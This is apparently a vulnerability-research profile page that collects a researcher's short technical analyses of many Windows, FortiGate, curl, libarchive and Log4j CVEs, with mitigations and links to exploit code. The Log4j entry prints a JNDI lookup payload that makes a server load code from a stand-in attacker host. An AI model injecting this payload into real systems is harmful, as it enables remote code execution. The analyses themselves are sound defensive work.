gwillcox-r7 (547)

Last Login: May 04, 2022
Assessments
222
Score
547
1st Place

gwillcox-r7's Latest (20) Contributions

Sort by:
Filter by:
1
Ratings
Technical Analysis

This is a bypass for CVE-2022-21919 which is in turn a bypass for CVE-2021-34484. As noted at https://twitter.com/billdemirkapi/status/1508527492285575172, CVE-2022-21919 was already being exploited in the wild by using the binary from https://github.com/klinix5/ProfSvcLPE/blob/main/DoubleJunctionEoP/Release/UserProfileSvcEoP.exe.

The vulnerability, near as I can tell, occurs due to the CreateDirectoryJunction() function inside profext.dll not appropriately validating things before creating a directory junction between two directories. This can allow an attacker to create a directory junction between a directory they have access to and another directory that they should not have access to, thereby granting them the ability to plant files in sensitive locations and or read sensitive files.

The exploit code for this, which was originally at https://github.com/klinix5/SuperProfile but which got taken down, is now available at https://github.com/rmusser01/SuperProfile and its associated forks. I have taken this code and updated it and touched it up a bit into a Metasploit exploit module that is now available at https://github.com/rapid7/metasploit-framework/pull/16382.

This exploit code utilizes this vulnerability to plant a malicious comctl32.dll binary in a location that the Narrator.exe program will try to load the DLL from when it starts. By utilizing the ShellExecute command with the runas option, we can force a UAC prompt to come up that will run the consent.exe program to run. If the PromptOnSecureDesktop setting is set to 1 which is the default, this will result in consent.exe running as SYSTEM on the secure desktop, and a new narrator.exe instance will also spawn as SYSTEM on the secure desktop, which will then load the malicious comctl32.dll DLL and allow us to execute our code as SYSTEM.

Note that if PromptOnSecureDesktop is set to 0 under the key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, then this LPE will not be possible as the UAC prompt will spawn as the current user vs as SYSTEM on the restricted desktop, and therefore we will not achieve privilege elevation, so this is a workaround for the vulnerability whilst it is not patched.

It should be noted that as this stands the current exploit requires valid credentials for another user on the system who is a non-admin user and who has permissions to log into the target computer. They must also have a profile under C:\Users for the exploit to function in its current state. There has been some rumors that it might be possible to do this without a secondary login, however nothing concrete has been found so far, so we are considering this a prerequisite for exploitation for the time being.

We, aka Rapid7, have reported this vulnerability to Microsoft and have given KLINIX5, who originally found this vulnerability and wrote the original exploit code, full credit for the discovery, however Microsoft have only given us this CVE number and have not provided a timeline on when they expect a fix for this vulnerability at this time. It is therefore recommended to use the mitigation above until an appropriate fix is developed.

1
Technical Analysis

Appears there may have been some confusion here. As noted at https://twitter.com/wdormann/status/1508555477491269638 and at https://twitter.com/BillDemirkapi/status/1508527487655067660/photo/1, the attackers tried to download UserProfileSvcEoP.exe from https://github.com/klinix5/ProfSvcLPE/blob/main/DoubleJunctionEoP/Release/UserProfileSvcEoP.exe. If you look at https://github.com/klinix5/ProfSvcLPE/blob/main/write-up.docx you can see this is actually a patch bypass for CVE-2021-34484, and was later fixed by CVE-2022-21919.

Ironically enough this later got another patch bypass in the form of CVE-2022-26904 which at the time of writing is still unpatched.

All of these vulnerabilities exploit a logic flaw whereby the User Profile Service had a CreateDirectoryJunction() function that did not appropriately validate its input to ensure it wasn’t using symbolic links along any point of the path prior to creating a directory junction between two directories. This could be abused by attackers manipulating paths along the file path to gain code execution as the SYSTEM user by planting a DLL in a sensitive location which would then be loaded by a privileged process.

1
Technical Analysis

CVE-2020-11899 (one of the Ripple20 bugs) has now been reported as exploited in the wild as per https://www.cisa.gov/known-exploited-vulnerabilities-catalog, No evidence that other bugs have been exploited though as of the time of writing.

1
Ratings
Technical Analysis

Seems after this analysis the risk was updated around July 2019 to be a high severity vulnerability. Technically this is a heap overflow with the potential side effect of SSL VPN web service termination for logged in users, however the bug may also result in remote code execution. @wwoolwine-r7’s assessment in my opinion fails to appropriately take this into account as it considers the side effect the main impact of this bug, rather than the fact that this can and has been exploited in the wild for remote code execution.

A full technical writeup of this bug can be found at https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html where it is noted that this is a post auth vulnerability that occurs due to a memcpy into a heap buffer using the code memcpy(buffer, js_buf, js_buf_len);. It also notes that buffer is a fixed 0x2000 byte long buffer however the length of js_buf is not limited and can be as long as the attacker wants it to be. They also note that to trigger this bug, an attacker would need to host their own HTTP server. They would then use the SSL VPN web-mode, which allows users to connect to various resources such as HTTP, FTP, RDP, etc via their web browser and will result in the SSL VPN server to requesting resources on their behalf, to connect to the malicious HTTP server and fetch their exploit on their behalf, which will result in the heap overflow.

Exploitation of this vulnerability can be prevented by ensuring all users have secure passwords with a mix of alphanumberic, uppercase, lowercase, and symbols of at least 20 characters or more. Remember that in general whilst having a mix of characters is good, length generally tends to help more than the mix of characters, however it is still highly recommended to use a mix of characters wherever possible.

Exploitation can also be prevented by disabling SSL VPN web-mode, and using SSL VPN tunnel-mode instead as it is not impacted.

1
Ratings
Technical Analysis

Looks like this is a LPE in win32k that is being exploited in the wild according to Microsoft to let attackers escalate their privileges to SYSTEM. Attack complexity on this is high which is understandable given the history of win32k and the complexities regarding its architecture which was built before modern security mitigations were implemented. With that being said though the finder of this bug, at https://twitter.com/b2ahex/status/1481233350840893442, notes that exploitation is easy and that this is a patch bypass for CVE-2021-1732, which was a window object type confusion leading to an OOB (out-of-bounds) write as noted by McAfee’s technical writeup at https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/technical-analysis-of-cve-2021-1732/.

Of particular note here is that they credit Big CJTeam of Tianfu Cup and RyeLv aka @b2ahex on Twitter for finding this vulnerability. They note that this was exploited in the wild but the mention of Tianfu Cup is interesting as it suggests this was also reported to China’s government via the Chinese Tianfu Cup hacking competition.

0

Sorry don’t mean to offend but the version you posted as exploiting is Windows 10,0.19041.264, which as noted at https://support.microsoft.com/en-us/topic/windows-10-insider-preview-build-19041-264-3780ec1d-46ed-6847-8a40-afc2204c1b1d is an Insider Preview version of Windows 10 v2004 from October 2020. I’d find this more believable if you ran the tests on a December 2021 build of Windows 10 which would have patched CVE-2021-31166 but not CVE-2022-21907.

Additionally Windows 10 v2004 stopped being support after 2021 which is why if you look at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907 you will see no mention of a patch for Windows 10 v2004 for CVE-2022-21907.

Understand that given the stack trace is pretty much exactly the same as the blog post I mentioned combined with the fact that your demo is running against a very outdated version of Windows that is no longer supported, it looks like you were exploiting CVE-2021-31166. If you can demo the bug against something like 10.0.19044.1415, or even something like 10.0.19043.1415, I’d find that to be a lot more of an accurate test as you are testing it against the December 2021 patches vs October 2020 patches.

1

Your assessment is correct however the bug you are describing is for CVE-2021-31166 as mentioned at https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2021-31166-rce-in-microsoft-httpsys/. This was an earlier bug in http.sys that was patched in March 2021 which had a PoC published at https://github.com/0vercl0k/CVE-2021-31166.

This is not CVE-2022-21907, which is a bug in the HTTP Trailer Support feature, not the Accept-Encoding feature as you have shown above.

Feel free to move your assessment to CVE-2021-31166 if you want though, but I don’t think this assessment is for CVE-2022-21907.

1
Ratings
Technical Analysis

Looks like this is your fairly typical maliciously crafted document exploit for Microsoft Office. These bugs are used all the time by APTs and other groups simply cause its relatively easy to convince people to open documents given the right context, and even though some people will be fairly vigilant, all it takes is compromising one user to get an initial foothold into a target network.

This bug appears to affect all Microsoft Office versions since 2013 up to and including the latest Microsoft Office online solutions and also including Microsoft Sharepoint Servers from 2013 onwards, meaning that it has quite a wide range of potential targets. User interaction is required though in the form of opening a malicious document,

Given the supposedly low complexity of exploiting this vulnerability combined with the wide range of target that it can exploit, I’d expect to see exploits for this vulnerability in the wild over the coming few months.

2
Ratings
Technical Analysis

Update: There appears to be some initial patch analysis on this vulnerability at https://piffd0s.medium.com/patch-diffing-cve-2022-21907-b739f4108eee which seems to suggest the patched functions are UlFastSendHttpResponse, UlpAllocateFastTracker UlpFastSendCompleteWorker, UlpFreeFastTracker, and UlAllocateFastTrackerToLookaside. They also note that based on their analysis a safe assumption may be that the vulnerable code path is hit first in UlFastSendHttpResponse and some of the fixup / mitigations were applied to memory chunks in the other functions. Analysis is still ongoing though.

There has been a lot of confusion r.e this vulnerability, which is a RCE in the HTTP Trailer Support feature of the http.sys component which is responsible for the HTTP Protocol stack used by several high privileged Windows components. The best writeup I was able to find was at https://isc.sans.edu/diary/28234 however note that investigation is still ongoing and its likely that things will change over time.

First off, to be clear, despite http.sys appearing to be associated with IIS, this is not in itself an IIS vulnerability. As noted at https://isc.sans.edu/diary/28234, you can find which components are using http.sys by running the command netsh http show servicestate. You’ll likely find more components using it then you thought, for example Intel components use this for some odd built in HTTP server (yeah I’m not sure either but there you go).

Secondly, whilst the vulnerability affects Windows 10 1809 and Windows Server 2019 and later, by default, and only on Windows 10 1809 and Windows Serve r 2019, HKLM:\System\CurrentControlSet\Services\HTTP\Parameter\EnableTrailerSupport is set to 0 by default, thus disabling the vulnerable trailers feature. This means these versions are not vulnerable out of the box, however if the HKLM:\System\CurrentControlSet\Services\HTTP\Parameter\EnableTrailerSupport registry key is set to 1 then they are. All other affected versions of Windows are vulnerable using their default settings.

As this is a kernel level vulnerability and it being exploited remotely I imagine now would be a good time to remind people that RCE bugs in the Windows kernel have become increasingly hard to exploit. Whilst Windows 7 was easier to exploit due to lack of a number of mitigations, with Windows 10 and Windows 11, several mitigations have been implemented into the Windows kernel specifically to prevent RCE kernel exploits and from my experience they work very well to this effect (local privilege escalation attacks are another story which still needs improvement though).

Finally as for those wondering what Trailer support is anyway (like myself), https://isc.sans.edu/diary/28234 notes that RFC7230 specifies the protocol for trailer support, noting that it only makes sense if Transfer-Encoding: chunked is used in a request to a server. This allows a requestor to essentially chunk the request up into several smaller packets and then only send the headers for the request after the request body has been sent. The original idea behind this was that the request body may be generated over time and we want to start sending data as it becomes available to speed things up and ensure quicker operations.

Hopefully that helps, still not a lot of detail on this right now and there will likely need to be some patch diffing going on before people are able to better determine the root cause of this issue, but for now I’d say patch if you can whilst also keeping in mind a working exploit will likely take time to develop if its possible given Microsoft’s kernel level mitigations for Windows 10.

1
Ratings
Technical Analysis

Of all the bugs in January 2022’s Patch Tuesday analysis, I think this one has to be hands down the most complex one to exploit. There is very little information from the advisory on what this bug is however here is what I can piece together from the limited bits of information that are available.

Supposively this affects virtual machines, although its a little confusing cause if we look at the list of affected products we can see this goes all the way back to Windows 7, Hyper-V was released in 2008 with Windows Server 2008, which means that Windows 7 SP1 would also make sense since Windows 7 was released on October 22, 2019. This makes me believe that this is likely related to HyperV, but I cannot confirm this 100% at this time.

The second interesting thing is that the vulnerability is in IDE. Looking this up we can find https://www.techtarget.com/searchstorage/definition/IDE where its noted that IDE stands for Integrated Drive Electronics and is a standard that defines the connection between a bus line on a motherboard and the computer’s disk storage devices.

Therefore if I had to take a stab at this I’d say this is some sort of vulnerability in HyperV that is related to how disk drives interface with the Virtual Machine, specifically in how HyperV virtualizes the IDE protocol when interacting with virtual disks.

Overall as this was found by Microsoft Research and Engineering and the attack complexity is listed as High, I doubt any public details will be coming out on this anytime soon, however if your organization uses Hyper-V and advanced technical attackers are within your risk profile, then I’d recommend patching this vulnerability ASAP. Otherwise, do try to patch this vulnerability when you can, but note that there are plenty of other vulns that are likely higher risk than this one in this months advisory.

1
Ratings
Technical Analysis

Huh so this one is a bit of a doozy. On the one hand we have Microsoft Exchange Server, which, unless you have been living under a rock, has been exploited many times in the past, as evidenced here, here, and here. Basically Microsoft Exchange Server has a giant target on its back and attackers are all too happy to exploit it given any opportunity to do so.

What makes this bug interesting though is that unlike most of the other vulnerabilities which were exploitable remotely, this one not only requires authentication, but also requires local network access of some type. Its also interesting to note that the Scope section of Microsoft’s advisory is marked as Changed, which they take as meaning An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities..

This raises a few questions as it seems to suggest that the initial component used to exploit the vulnerability exists in one security context separate from the Exchange Server security context, which when combined with the Adjacent factor, suggests a rather unusual way of exploiting this vulnerability via some local access, presumably though some component with a different security boundary, which then interacts with the Exchange Server.

Exploitation is however listed as easy and the bug does give you high level permissions on the Exchange Server, so I can see this as being useful for internal attacks once an attacker has gotten initial access into a network. As per usual, it is always advisable to assume that your network has been compromised when considering what to patch; I have personally seen that its often the little vulnerabilities that were ignored instead of being patched combined together that can lead to some of the most unexpected and dangerous impacts to companies.

Overall I’d say this is likely lower on your patch list than other RCE bugs, however given the impact and number of previous exploits for this target, I’d still recommend patching this as soon as possible, presumably once all your RCE bugs have been patched.

1
Ratings
Technical Analysis

Privilege escalation in Active Directory Domain Services that allows for elevation of privilege across a network.

Given how popular Active Directory is this is pretty serious and I imagine this will likely be a very popular way to escalate privileges in internal engagements should an exploit come out for this.

Bug is noted as being related to Active Directory Domain Service environments that have incoming trusts, and that the bug allows attackers to escalate privileges across the trust boundary under certain conditions.

The fact that this is labeled as “under certain conditions” leads me to believe that this may not be a default configuration which is why I have labeled it as such in my report. However I would also provide a slight counterpoint to this in that AD networks are often sprawling and complex so there is a good likelihood that this may be enabled in some part of the network even if you are not aware of it.

Definitely one to patch if you are running AD networks.

2
Ratings
Technical Analysis

Writeup for this vulnerability is rather interesting and I think a few people may have read the Microsoft advisory somewhat incorrectly.

The attack vector for this is listed as local which is odd given this is listed as an RCE vulnerability in the Windows Security Center API.

However looking at Microsoft’s description closer we can see that the Attack Vector value of Local is also applied if the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability.

Looking further down the assessment we can see the complexity is considered Low, no privileges are required, however User Interaction is marked as Required.

This suggests that it is possible to somehow exploit this vulnerability by either sending the target a request which then opens a prompt that they have to interact with, or by sending them some malicious document which then triggers the vulnerability.

Given this has a high impact on both Confidentiality, Integrity, and Availability I would say this likely gives you pretty high level access should you be able to exploit it successfully.

The patch was likely applied to the wscsvc.dll file given the modification dates and info on the web about how the Windows Security Service works, but I’ll have to do a more in depth analysis to determine what exactly was changed. Hopefully this information is useful for now though.

2
Ratings
Technical Analysis

This appears to be a bug in Windows Event Tracing which is a kernel level tracing facility in Windows that allows you to log kernel events or application defined events to a log file. The bug occurs due to something related to Discretionary Access Control Lists or DACLS for short. DACLs in Windows are an access control mechanism made up of a bunch of ACE, or Access Control Entries, put together into a list. Note however that if a DACL does not exist on an object, everyone is allowed access to it and if a DACL is set on an object but not ACE entries are added to the DACL, no one is allowed access to it.

My guess is that somehow it is possible to create a DACL on a specific file or object as any authenticated user that does not have any ACE entries associated with it and thereby cause a component to stop working completely due to its need to access that file. Adding to the fact that this only causes a DoS, is the fact that this bug supposedly only works on Windows 10 1809 and Windows Server 2019, which further limits its impact.

Overall a pretty low impact bug in my opinion.

2
Ratings
Technical Analysis

This appears to be a vulnerability in the Windows Platform Binary Table verification, also known as WPBT verification for short. It appears this was originally discovered back in September 2021 by Mickey Shkatov and the researchers of Eclypsium, who published a paper on this titled Everyone Gets a Rootkit where they detailed this bug in greater detail.

Simply put, WPBT was introduced in Windows 8 that is an extension to an earlier protocol known as ACPI, or Advanced Configuration and Power Interface, which was originally designed to efficiently manage energy consumption in PCs. A flaw was found in WPBT verification whereby expired or compromised signatures could still be used to sign a WPBT binary, as these drivers were not in the kernel driver block list, which is stored as a file named driver.stl.

By signing a WPBT binary of the attackers creation with one of these expired or compromised certificates, authenticated attackers could get malicious code to load with kernel privileges when the target device boots up.

WPBT binaries are particularly powerful as they allow OEMS to modify the host operating system during boot. This is often needed to supply vendor-specific drivers, applications and content. As a result, compromising the integrity of this stage of the Windows OS loading process means that an attacker can install a rootkit onto the target system to easily maintain stealthy and persistent access to the target machine.

Its also important to note that this attack works even with Secured-core PCs running with the latest boot protections and mitigations. Therefore this vulnerability fundamentally this undercuts a lot of the new mitigations that were introduced with Windows 10 and Windows 11 to try prevent supply chain compromise and rootkit installation, which is a serious compromise of trust..

Overall I have rated this vulnerability as high on attacker value since this is essentially the highest form of privileges you can possibly get on a Windows OS, going beyond even SYSTEM level access to strike at the very heart of the OS itself, however the exploitability is somewhat lower as you would need to craft a valid WPBT binary, something that would take some time to research since I imagine not many people are familiar with how to do that. Signing it with a compromised/expired certificate though shouldn’t be that hard to do though :)

2
Ratings
Technical Analysis

Update: As predicted there is a patch bypass for this, now labled as CVE-2022-26904

According to https://twitter.com/KLINIX5/status/1480996599165763587 this appears to be a patch for the code blogged about at https://halove23.blogspot.com/2021/10/windows-user-profile-service-0day.html. The details on this bug can be found at https://github.com/klinix5/ProfSvcLPE/blob/main/write-up.docx but I’ll summarize them here for brevity.

The original incomplete patch, aka CVE-2021-34484 is explained best by Mitja Kolsek at https://blog.0patch.com/2021/11/micropatching-incompletely-patched.html where he notes that bug was originally considered to be an arbitrary directory deletion bug that allowed a logged on user to delete a folder on the computer.

However upon reviewing the fix KLINUX5 found that it was possible to not only bypass the fix, but also make the vulnerability more impactful.

Specifically by abusing the User Profile Service’s code which creates a temporary user profile folder (to protect against the original user profile folder being damaged etc), and then copies folders and files from the original profile folder to the backup, one can instead place a symbolic link. When this symbolic link is followed, it can allow the attacker to create attacker-writeable folders in a protected location and then perform a DLL hijacking attack against high privileged system processes.

Unfortunately when patching this bug, Microsoft correctly assumed that one should check that the temporary user folder (aka C:\Users\TEMP), is not a symbolic link, but didn’t check to see if any of the folders under C:\Users\TEMP contains a symbolic link.

Note that as noted in https://blog.0patch.com/2021/11/micropatching-incompletely-patched.html this bug does require winning a race condition so exploitation is 100% reliable however there are ways to win the race condition as was shown in the code for the patch bypass published at https://github.com/klinix5/ProfSvcLPE/tree/main/DoubleJunctionEoP.

I’d keep an eye on this one as KLINIX5 has a habit of finding patch bypasses for his bugs and if he says Microsoft has messed things up again, more than likely there will be another patch bypass for this bug. I’m still looking into exactly what was patched here though.

2
Ratings
Technical Analysis

This looks to be a Use-After-Free bug in libarchive 3.4.1 through 3.5.1 that was only recently patched by Microsoft in January 2021, though the details on this bug were public as early as June 2021 in https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=32375. It remains unclear if this was fully fixed though as https://github.com/libarchive/libarchive/issues/1554 is still open which references https://github.com/libarchive/libarchive/pull/1491 as being the fix, yet that PR is on hold as of today (January 11th 2021), and that relies on https://github.com/libarchive/libarchive/pull/1492 which is in turn dependent on https://github.com/libarchive/libarchive/pull/1493. All of this leads to a bit of a confusing mess as to if this bug has truely been fixed or not.

This bug occurs in copy_string which is in turn called from do_uncompress_block and process_block. These functions exist within the libarchive/libarchive/archive_read_support_format_rar5.c file, as can be seen by looking at https://github.com/libarchive/libarchive/blob/411284e3f5819a5726622f3f129ebf2859f2d46b/libarchive/archive_read_support_format_rar5.c, and are related to parsing RAR5 archive files.

So what is RAR5 archive files? Well turns out according to https://www.remosoftware.com/info/differences-between-rar-and-rar5-compression that RAR4 was the default archive compression mechanism for RAR files. RAR5 is the new compression algorithm that is trying to rival 7ZIP and similar compression formats and is an evolution of the RAR4 format. The article also notes that right now WinRAR is the most likely program to open these newer file formats.

From this we can conclude that this bug most likely occurs when sending a user a RAR5 file and a Windows program that uses the system’s version of the libarchive library attempts to extract the RAR5 file, which will cause a UAF condition that, if controlled, could allow the attacker to gain RCE on a users computer.

2
Ratings
Technical Analysis

Original report for this vulnerability can be found at https://curl.se/docs/CVE-2021-22947.html

This vulnerability affects curl 7.20.0 to 7.78.0 inclusive, and occurs due to the commit made at https://github.com/curl/curl/commit/ec3bb8f727405.

The bug occurs as when curl connects to a IMAP, POP3, SMTP, or FTP server using STARTTLS to upgrade the connection to a TLS connection. In these scenarios the server can send multiple responses prior to the TLS upgrade, which are then cached by curl.

Unfortunately, when upgrading to TLS, curl would not flush this queue of cached responses and instead would treat these responses as part of the TLS handshake themselves as if they were authenticated.

Attackers could use this to inject fake response data via a man in the middle (MITM) attack when the connection uses POP3 or IMAP as noted by the curl developers.

It is interesting to note that this bug was disclosed via HackerOne in September 2021 but was only fixed by Microsoft in January 2021 as noted at https://www.zerodayinitiative.com/blog/2022/1/11/the-january-2022-security-update-review, meaning there was at least a 3 month gap between the bug being public knowledge and it being fixed.

As for the exploitability of this bug, it is fairly low due to the need to be able to conduct a MITM attack against a target user. Additionally using implicit TLS instead of using STARTTLS negates this issue so attackers would have to find a connection specifically using STARTTLS.

It should be noted though that may applications use libcurl, the affected library, even if they don’t explicitly advertise it, so there is a good possibility that a fair number of apps on Windows would use this in some manner.

As a final note, its not directly clear to me why Microsoft rates this as a RCE bug but I imagine they likely found a connection between an attacker MITM’ing a specific connection for one of their apps and forging a fake response that can then be used to trigger some form of RCE. No details are provided on which app this might be though, so the specifics of this remain to be seen.

2
Ratings
Technical Analysis

A great overview of this bug is available at https://borncity.com/win/2021/12/16/update-fixt-windows-appx-installer-0-day-schwachstelle-cve-2021-43890-emotet-schlupfloch/ which leads on from a description at https://borncity.com/win/2021/12/02/windows-10-11-falle-beim-trusted-apps-installer/ showing how this bug was exploited in the wild. Essentially, by abusing the ms-appinstaller:// URI handler in Microsoft Windows, one can trick users into thinking that the website is trying to ask them to install software to do something; in the case of the campaign it was to install a PDF viewer so that one could open a protected PDF.

However what is interesting here is that if a user goes to inspect the properties of the app to be installed, a cursory glance will show that, according to AppX Installer, it is signed by a trusted publisher and the publisher details look legitimate. Its not unless you click on the Trusted App details link that one will see that something looks odd (assuming of course the user hasn’t already found the request for downloading a PDF viewer for viewing a sent PDF file suspicious).

Microsoft fixed this bug by disabling the ms-appinstaller:// URL entirely to prevent it from being abused for these types of attacks, however it is also recommended that the Prevent non-admin users from installing packaged Windows apps setting be set to prevent non-admin users from being able to install packaged Windows apps, which should prevent variants of this attack from being exploitable in your environment. More information on these and other mitigations can be found under the Workarounds section at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43890.

2
Ratings
Technical Analysis

Whilst this was originally considered a DoS vulnerability, new evidence has turned up as noted at https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/?s=09#update-the-localhost-bypass-was-discovered and later at https://twitter.com/marcioalm/status/1471740771581652995 by Márcio Almeida that is possible to bypass the allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE by simply modifying following PoC slightly:

${jndi:ldap://127.0.0.1#evilhost.com:1389/a}

This bypass works due to the call chain calling java.net.URI getHost() returning the value before the # sign as the real host, which will return 127.0.0.1. However the actual JDNI/LDAP resolver will end up using the full hostname string, so provided you can get it to respond to the weird hostname, you should be good.

Further investigation however shows that this vulnerability is mostly mitigated by a few factors as noted by Kevin Beaumont at https://twitter.com/GossiTheDog/status/1471791074314276867 and in a further Twitter thread by @buherator at https://twitter.com/buherator/status/1471869066470113288.

Specifically the following restrictions apply:

  1. The vulnerability only applies in a nondefault configuration. Specifically %m{lookups} need to be enabled in the message log. On 2.15.0 message lookups come disabled by default, however previous versions may come shipped with this enabled by default.
  2. So far reliable RCE has only been demonstrated on MacOS, and most people aren’t going to be running critical apps on this device.
  3. Whilst it is possible to query the weird name LDAP name on other hosts, it appears, according to the thread at https://twitter.com/buherator/status/1471878423459110913, that the Java resolver enforces restrictions that prevent the name from being resolved. Whilst is is possible to get around this, as noted at https://twitter.com/douglasmun/status/1471884380545044480, it requires the DNS provider on the target system being set to a non-default provider.

It should be noted that developments on this are still ongoing so its likely the situation could change, however this is the latest info I have on this as of the evening of December 17th, 2021. Due to the restrictions I’m rating exploitability as very low as a lot of things must be true from the sounds of it for this to be exploitable, however if it is exploitable the impact is very high and is the same as the log4shell exploit.

It should be noted despite all this that there exists other issues within Log4j versions prior to 2.16 such as Praetorian’s demonstration of sensitive information exfiltration as noted at https://www.praetorian.com/blog/log4j-2-15-0-stills-allows-for-exfiltration-of-sensitive-data/. Therefore whilst this particular vulnerability may not be as impactful there are plenty of other reasons why you should upgrade to 2.16 or later of log4j if you haven’t already.